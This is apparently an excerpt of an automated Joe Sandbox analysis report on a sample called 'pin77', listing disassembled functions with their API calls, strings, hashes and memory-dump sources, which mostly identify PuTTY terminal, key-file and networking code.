                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Message$ItemSend$Window$_strlen$ActiveBeepDestroyParentText
                                                                                                                                                    • String ID: %s Event Log
                                                                                                                                                    • API String ID: 2560716093-583241876
                                                                                                                                                    • Opcode ID: 3dbb8dcf1a89132cbedfe5b8e043773387aacc2681c3d1375a3053c6f1b26fbc
                                                                                                                                                    • Instruction ID: e13b5aee7c87acb4168b8720ebc85693bba8a2548c972ef93a3d89f45e0c3fe7
                                                                                                                                                    • Opcode Fuzzy Hash: 3dbb8dcf1a89132cbedfe5b8e043773387aacc2681c3d1375a3053c6f1b26fbc
                                                                                                                                                    • Instruction Fuzzy Hash: A191E176B05304AFE727AF24ECA6B7A37ACEB14700F050929F9459B2D1D671E944CB82
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003803D0 Relevance: 21.7, APIs: 1, Strings: 11, Instructions: 663COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: _strlen
                                                                                                                                                    • String ID: ", algorithm=$", nc=$", qop=$", realm="$", uri="$, cnonce="$, nonce="$, opaque="$, response="$, userhash=true$username="
                                                                                                                                                    • API String ID: 4218353326-1072239674
                                                                                                                                                    • Opcode ID: dc94ffb9332369171bf46dee1e0e613956c3e42bbacef05b04bfb86f856fe2f5
                                                                                                                                                    • Instruction ID: b4ffc9910fc588e55f4bfd37d9a1b8a8283e7672768f09b0a387365609f2bfc2
                                                                                                                                                    • Opcode Fuzzy Hash: dc94ffb9332369171bf46dee1e0e613956c3e42bbacef05b04bfb86f856fe2f5
                                                                                                                                                    • Instruction Fuzzy Hash: 1C32E9B5D05250AFD7236B10FC02E6ABBA4EF55305F484428F99C9A163FB32D624DF92
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0032C480 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 118memoryCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                      • Part of subcall function 0032C620: AllocateAndInitializeSid.ADVAPI32(?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,003F32EC), ref: 0032C69D
                                                                                                                                                      • Part of subcall function 0032C620: AllocateAndInitializeSid.ADVAPI32(?,00000001,00000002,00000000,00000000,00000000,00000000,00000000,00000000,00000000,003F32F0), ref: 0032C6CC
                                                                                                                                                      • Part of subcall function 0032C620: GetLastError.KERNEL32(?,00000001,00000002,00000000,00000000,00000000,00000000,00000000,00000000,00000000,003F32F0), ref: 0032C6D6
                                                                                                                                                    • LocalAlloc.KERNEL32(00000040,00000014,?,00000000,?), ref: 0032C54D
                                                                                                                                                    • InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?), ref: 0032C55D
                                                                                                                                                    • SetSecurityDescriptorOwner.ADVAPI32(?,00000000,?,00000000,?), ref: 0032C572
                                                                                                                                                    • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000,?,00000000,?), ref: 0032C585
                                                                                                                                                    • GetLastError.KERNEL32(?,00000000,?), ref: 0032C5BD
                                                                                                                                                    • LocalFree.KERNEL32(00000000), ref: 0032C5E0
                                                                                                                                                    • LocalFree.KERNEL32(00000000), ref: 0032C5F4
                                                                                                                                                    Strings
                                                                                                                                                    • unable to construct ACL: %s, xrefs: 0032C53B
                                                                                                                                                    • unable to set DACL in security descriptor: %s, xrefs: 0032C5B8
                                                                                                                                                    • unable to allocate security descriptor: %s, xrefs: 0032C5A3, 0032C5CD
                                                                                                                                                    • unable to initialise security descriptor: %s, xrefs: 0032C5AA
                                                                                                                                                    • unable to set owner in security descriptor: %s, xrefs: 0032C5B1
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: DescriptorInitializeLocalSecurity$AllocateErrorFreeLast$AllocDaclOwner
                                                                                                                                                    • String ID: unable to allocate security descriptor: %s$unable to construct ACL: %s$unable to initialise security descriptor: %s$unable to set DACL in security descriptor: %s$unable to set owner in security descriptor: %s
                                                                                                                                                    • API String ID: 436594416-3066058096
                                                                                                                                                    • Opcode ID: f5784c8f854face1d29235c294d9fd07b177d416119145c3b260ab565e60e640
                                                                                                                                                    • Instruction ID: 15cb3bb92e5e2670b6c4c79847587813e3f81909b6a93f694b364969f6f22509
                                                                                                                                                    • Opcode Fuzzy Hash: f5784c8f854face1d29235c294d9fd07b177d416119145c3b260ab565e60e640
                                                                                                                                                    • Instruction Fuzzy Hash: C5417BB0614350AFEB229F25EC45B6A7BE8BF89704F104529F988DF390D776D900CB52
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 002F60F0 Relevance: 15.1, APIs: 10, Instructions: 61clipboardwindowmemoryCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • GlobalAlloc.KERNEL32(00002002,?), ref: 002F610C
                                                                                                                                                    • GlobalLock.KERNEL32 ref: 002F611D
                                                                                                                                                    • GlobalUnlock.KERNEL32(00000000), ref: 002F6140
                                                                                                                                                    • SendMessageA.USER32(00008002,00000001,00000000), ref: 002F6159
                                                                                                                                                    • OpenClipboard.USER32 ref: 002F6165
                                                                                                                                                    • EmptyClipboard.USER32 ref: 002F616F
                                                                                                                                                    • SetClipboardData.USER32 ref: 002F6178
                                                                                                                                                    • CloseClipboard.USER32 ref: 002F617E
                                                                                                                                                    • SendMessageA.USER32(00008002,00000000,00000000), ref: 002F6197
                                                                                                                                                    • GlobalFree.KERNEL32 ref: 002F61A3
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ClipboardGlobal$MessageSend$AllocCloseDataEmptyFreeLockOpenUnlock
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 1228832834-0
                                                                                                                                                    • Opcode ID: a9c224863fef1c79864bc4498625b7143561d3890ac82105e80b58d9305f45ef
                                                                                                                                                    • Instruction ID: aa94c6ac2e15551905abe73a7234929863572fa0127420fff04bf768761f934a
                                                                                                                                                    • Opcode Fuzzy Hash: a9c224863fef1c79864bc4498625b7143561d3890ac82105e80b58d9305f45ef
                                                                                                                                                    • Instruction Fuzzy Hash: 2A11513125034AAFEB321F71AD4DF7B7B9CEB41785F044228F6489A2E2DB625814CB21
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0032C620 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 89memoryCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • AllocateAndInitializeSid.ADVAPI32(?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,003F32EC), ref: 0032C69D
                                                                                                                                                    • AllocateAndInitializeSid.ADVAPI32(?,00000001,00000002,00000000,00000000,00000000,00000000,00000000,00000000,00000000,003F32F0), ref: 0032C6CC
                                                                                                                                                    • GetLastError.KERNEL32(?,00000001,00000002,00000000,00000000,00000000,00000000,00000000,00000000,00000000,003F32F0), ref: 0032C6D6
                                                                                                                                                      • Part of subcall function 0032C330: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,751F5B70,0032C777), ref: 0032C367
                                                                                                                                                      • Part of subcall function 0032C330: OpenProcess.KERNEL32(02000000,00000000,00000000,?,?,?,?,?,?,?,?,751F5B70,0032C777), ref: 0032C375
                                                                                                                                                      • Part of subcall function 0032C330: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,751F5B70,0032C777), ref: 0032C3B4
                                                                                                                                                      • Part of subcall function 0032C330: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,?,?,?,?,751F5B70,0032C777), ref: 0032C3D1
                                                                                                                                                      • Part of subcall function 0032C330: GetLengthSid.ADVAPI32(00000000,?,?,?,?,?,?,?,?,751F5B70,0032C777), ref: 0032C3FB
                                                                                                                                                      • Part of subcall function 0032C330: CopySid.ADVAPI32(00000000,00000000,00000000), ref: 0032C41A
                                                                                                                                                      • Part of subcall function 0032C330: CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,751F5B70,0032C777), ref: 0032C43B
                                                                                                                                                      • Part of subcall function 0032C330: CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,751F5B70,0032C777), ref: 0032C44A
                                                                                                                                                      • Part of subcall function 0032C330: LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,751F5B70,0032C777), ref: 0032C455
                                                                                                                                                    • GetLastError.KERNEL32 ref: 0032C6ED
                                                                                                                                                    • GetLastError.KERNEL32 ref: 0032C704
                                                                                                                                                      • Part of subcall function 0032CC90: FormatMessageA.KERNEL32(00001200,00000000,?,00000400,?,0000FFFF,00000000,?,?,?,?,003269BE,?), ref: 0032CD1B
                                                                                                                                                      • Part of subcall function 0032CC90: _strlen.LIBCMT ref: 0032CD26
                                                                                                                                                    Strings
                                                                                                                                                    • unable to construct SID for current user: %s, xrefs: 0032C6FD
                                                                                                                                                    • unable to construct SID for world: %s, xrefs: 0032C714
                                                                                                                                                    • unable to construct SID for local same-user access only: %s, xrefs: 0032C6E6
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ErrorLast$AllocateCloseHandleInitializeLocalProcess$AllocCopyCurrentFormatFreeLengthMessageOpen_strlen
                                                                                                                                                    • String ID: unable to construct SID for current user: %s$unable to construct SID for local same-user access only: %s$unable to construct SID for world: %s
                                                                                                                                                    • API String ID: 3303103131-2222155745
                                                                                                                                                    • Opcode ID: 9469705a44b109bfcea2e987dfb23ed4b7ef80299605a4b72b74b2f47580d31d
                                                                                                                                                    • Instruction ID: 54040c14ec2e6f69d623fa8ae23ac3a87a9c44f617467945c2dd31818516ad0b
                                                                                                                                                    • Opcode Fuzzy Hash: 9469705a44b109bfcea2e987dfb23ed4b7ef80299605a4b72b74b2f47580d31d
                                                                                                                                                    • Instruction Fuzzy Hash: B521F5B1A10351AFD712AF68FC4AB6A36ECAB08710F046829F445DF291E774D480CB92
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00318B60 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 71fileCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • GetWindowsDirectoryA.KERNEL32(?,00000107), ref: 00318B89
                                                                                                                                                    • _strlen.LIBCMT ref: 00318B90
                                                                                                                                                    • FindFirstFileA.KERNEL32(?,?), ref: 00318BAD
                                                                                                                                                    • FindNextFileA.KERNEL32(00000000,?), ref: 00318BCD
                                                                                                                                                    • FindClose.KERNEL32(00000000), ref: 00318BD4
                                                                                                                                                    • GetCurrentProcessId.KERNEL32 ref: 00318BDA
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Find$File$CloseCurrentDirectoryFirstNextProcessWindows_strlen
                                                                                                                                                    • String ID: \*$pW5
                                                                                                                                                    • API String ID: 4151488164-2568421635
                                                                                                                                                    • Opcode ID: 7616c353e7a7cd5e4eae2cf6b79bc891d45c81da75d5ae37a62777eb00cc3444
                                                                                                                                                    • Instruction ID: 64bb5159be67525fe7d487de0a66f2bd2c8e36d580b1dc4740afe2459849959b
                                                                                                                                                    • Opcode Fuzzy Hash: 7616c353e7a7cd5e4eae2cf6b79bc891d45c81da75d5ae37a62777eb00cc3444
                                                                                                                                                    • Instruction Fuzzy Hash: 7C1129B1505310ABD2227724BC4AFDF37ACDF49309F020524F5489E2D1EB35A90587EB
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003266A0 Relevance: 13.8, APIs: 9, Instructions: 325networkCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • recv.WS2_32(?,?,00005000,00000001), ref: 00326848
                                                                                                                                                    • accept.WS2_32(?,?,00000080), ref: 00326898
                                                                                                                                                    • WSAGetLastError.WS2_32 ref: 003268A5
                                                                                                                                                    • closesocket.WS2_32(00000000), ref: 003268F8
                                                                                                                                                    • recv.WS2_32(?,?,00005000,00000000), ref: 0032698B
                                                                                                                                                    • ioctlsocket.WS2_32(?,40047307,00000001), ref: 003269FE
                                                                                                                                                    • WSAGetLastError.WS2_32 ref: 00326A10
                                                                                                                                                    • recv.WS2_32(?,?,00005000,00000000), ref: 00326A30
                                                                                                                                                    • WSAGetLastError.WS2_32 ref: 00326A61
                                                                                                                                                      • Part of subcall function 00318D50: GetTickCount.KERNEL32 ref: 00318D78
                                                                                                                                                      • Part of subcall function 00318D50: QueryPerformanceCounter.KERNEL32 ref: 00318D96
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ErrorLastrecv$CountCounterPerformanceQueryTickacceptclosesocketioctlsocket
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 2595003436-0
                                                                                                                                                    • Opcode ID: d68fd58f204c03ff4bdda3d1140cbf9e8e413bae5ef987e45f17c24780de5931
                                                                                                                                                    • Instruction ID: a3a3189b55909b0392748ed1f2a2974de6a5c3a66fead9f965a566c58aa81afb
                                                                                                                                                    • Opcode Fuzzy Hash: d68fd58f204c03ff4bdda3d1140cbf9e8e413bae5ef987e45f17c24780de5931
                                                                                                                                                    • Instruction Fuzzy Hash: ECB1DF71600710AFE722DF24EC86B2B77E8AF88704F14482CF9868B691DB71E948CB51
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 002F1130 Relevance: 12.3, APIs: 8, Instructions: 292COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID:
                                                                                                                                                    • Opcode ID: 7093aee96a5700190ca97a7e2034578c9fcde3bb80d2c68306250baf9b59aa69
                                                                                                                                                    • Instruction ID: ff1600aeed8b73fa732ff2c76cec69f8a75763a71324ad6f43c71781dc60cb13
                                                                                                                                                    • Opcode Fuzzy Hash: 7093aee96a5700190ca97a7e2034578c9fcde3bb80d2c68306250baf9b59aa69
                                                                                                                                                    • Instruction Fuzzy Hash: D7B14570624359CFD722AF24EC94B7AB7E8FB85380F444439EA89C7291D7749968CB42
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 002FE970 Relevance: 9.6, Strings: 7, Instructions: 853COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/terminal/terminal.c$count234(term->screen) == newrows$count234(term->scrollback) <= newsavelines$count234(term->scrollback) >= term->tempsblines$sblen >= term->tempsblines$term->rows == count234(term->screen)$term->rows == newrows
                                                                                                                                                    • API String ID: 0-3028371564
                                                                                                                                                    • Opcode ID: 437b2da762476e935d08a112063a29bb84a174c8313ba5853ef991db4d5d7e85
                                                                                                                                                    • Instruction ID: cf39569559fc8cf81e388fa5ef896e7b918024dc0b2093039f0030f2d2eb56fa
                                                                                                                                                    • Opcode Fuzzy Hash: 437b2da762476e935d08a112063a29bb84a174c8313ba5853ef991db4d5d7e85
                                                                                                                                                    • Instruction Fuzzy Hash: D7728CB5A043058FC721CF18D581B6AF7E1BF88314F15897DEA898B392D372E851CB92
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0030A8D0 Relevance: 9.3, Strings: 6, Instructions: 1763COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/terminal/bidi.c$ctx->ds_sp < lenof(ctx->dsstack)$ctx->ds_sp > 0$ctx->levels[j] == irslevel$false && "how did this get past the outer switch?"$i == ctx->textlen - 1
                                                                                                                                                    • API String ID: 0-634529421
                                                                                                                                                    • Opcode ID: 7c2025e5c28d9d4b15013ea66d38fadbe73347431bc0e38a005a27e2cb5e6426
                                                                                                                                                    • Instruction ID: 6303c666962c6611a9e8e691de508ef3a8a8d606de69570a07db26a72bb4bb99
                                                                                                                                                    • Opcode Fuzzy Hash: 7c2025e5c28d9d4b15013ea66d38fadbe73347431bc0e38a005a27e2cb5e6426
                                                                                                                                                    • Instruction Fuzzy Hash: 1FE2BE75A0A7058FC726CF18C4A066AF3E2BF99314F19892DE9968B791D731FC41CB42
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00328420 Relevance: 9.1, APIs: 6, Instructions: 86COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: _strlen$_strcat
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 1497175149-0
                                                                                                                                                    • Opcode ID: 02449e08ff200186ae49c8f0c806d51d38886f029d7adac256c51ae4be30109c
                                                                                                                                                    • Instruction ID: bed9ead35f4a9c067b58b95e137b8ba5cc826503801c934538734ea6daa7ac42
                                                                                                                                                    • Opcode Fuzzy Hash: 02449e08ff200186ae49c8f0c806d51d38886f029d7adac256c51ae4be30109c
                                                                                                                                                    • Instruction Fuzzy Hash: F611D5B59052145BD715EB15AC81A7F73E4AF95758F06052CF889DB301FA30EA04C7A6
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003541F0 Relevance: 8.9, Strings: 7, Instructions: 178COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID: Comm$Encryption$PuTTY-User-Key-File-1$PuTTY-User-Key-File-2$PuTTY-User-Key-File-3$aes256-cbc$ent
                                                                                                                                                    • API String ID: 0-287418747
                                                                                                                                                    • Opcode ID: 2dba75861ebc8c8589454f462d05e51dddfc7f9a8042de0a41d255a6805ae7e3
                                                                                                                                                    • Instruction ID: d5cbe9e6ff09a2e87f0cf4ef5f2ca0871a0c6dad430513658181cf690a29cd9b
                                                                                                                                                    • Opcode Fuzzy Hash: 2dba75861ebc8c8589454f462d05e51dddfc7f9a8042de0a41d255a6805ae7e3
                                                                                                                                                    • Instruction Fuzzy Hash: 7B512879A0830056D63F6628A842F6B73E55F4130EF46493DEC468B271EB35D9AEC253
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003A89F5 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMON
                                                                                                                                                    Download Yara Rule
